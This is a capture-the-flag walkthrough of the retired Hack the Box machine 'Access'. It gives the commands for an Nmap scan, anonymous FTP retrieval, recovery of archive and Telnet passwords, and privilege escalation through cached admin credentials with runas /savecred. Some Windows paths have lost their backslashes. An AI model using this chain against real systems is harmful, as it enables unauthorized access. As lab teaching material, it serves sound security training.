Capture the flag (CTF)

Hack the Box (HTB) machines walkthrough series — Access

Security Ninja
July 25, 2019 by
Security Ninja

Today, we will be continuing with our exploration of Hack the Box (HTB) machines as seen in previous articles. This walkthrough is of an HTB machine named Access.

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest)  in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform.

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Access, is retired.

The walkthrough

Let’s start with this machine.

1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.

2. The Access machine IP is 10.10.10.98.

3. We will adopt the same methodology of performing penetration testing as we have used previously. Let’s start with enumeration in order to learn as much information about the machine as possible.

4. As usual, let’s start with the Nmap scan to learn more about the services running on this machine. [CLICK IMAGES TO ENLARGE]

<<nmap -sC -sV -oA Access 10.10.10.98>>

5. As we can see, ports 80, 21 and 23 are opened. Interesting. Looks like we will be doing Telnet on this machine.

6. But let’s start with our standard enumeration. Let’s pick port 21. Anonymous login is allowed.

<<ftp 10.10.10.98>>

<<anonymous>>

7. We can see two folders titled “Backups” and “Engineer.”

8. Let’s transfer the contents of these two folders to our attacking machine.

<<mget backup.md>>

<<mget Access Control.zip>>

9. Let’s continue the enumeration over port 80. We have a simple web page with no more information.

10. Let’s go back the contents we have from FTP and analyzing them. In the Engineer folder, there is a ZIP file which needs a password.

11. In the Backup folder, there is a backup.md file. Let’s print the strings in it. After analyzing it for some time, one string pops out, which is access4u@security.

<<strings backup.md>>

12. Let’s try this as a password for the zip file. And it worked!

13. There is a PST file. Let’s read this with the readpst utility.

<<readpst Access Control.pst>>

14. We can see there is a password mentioned for the security account.

<<cat Access Control>>

15. But where do we use it? Wait …we have telnet, where we can try to apply this if we can get in.

16. Yes, we can. Awesome!

<<telnet -l security 10.10.10.98>>

17. Let’s enumerate to grab the user.txt file.

<<cd C:UserssecurityDesktop>>

<<type user.txt>>

18. Enumerating more on the system, there was a lnk file under Public User Desktop.

19. If we look into this file’s contents closely, there seems to be usage of cached creds. runas is running with /savecred.

<<type <name>.lnkl>>

20. We can also see this with the cmdkey command, where Admin creds are listed to be stored.

<<cmdkey /list>>

21. Let’s use this to grab the root.txt file.

<<runas /user:AccessAdministrator /savecred “cmd /c type C:UsersAdministratorDesktoproot.txt > C:UserssecurityDesktopflag.txt”>>

22. Browse to the location of flag.txt and we can see that the file is generated successfully.

<<cd C:UserssecurityDesktop>>

23. Grab root.txt.

<<type flag.txt>>

 

So, this machine is purely based on enumeration. We first enumerate to get an initial hold of the system, and it then require complete browsing within the directories to see other files.

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

We will continue this series shortly with more HTB machines.

Security Ninja
Security Ninja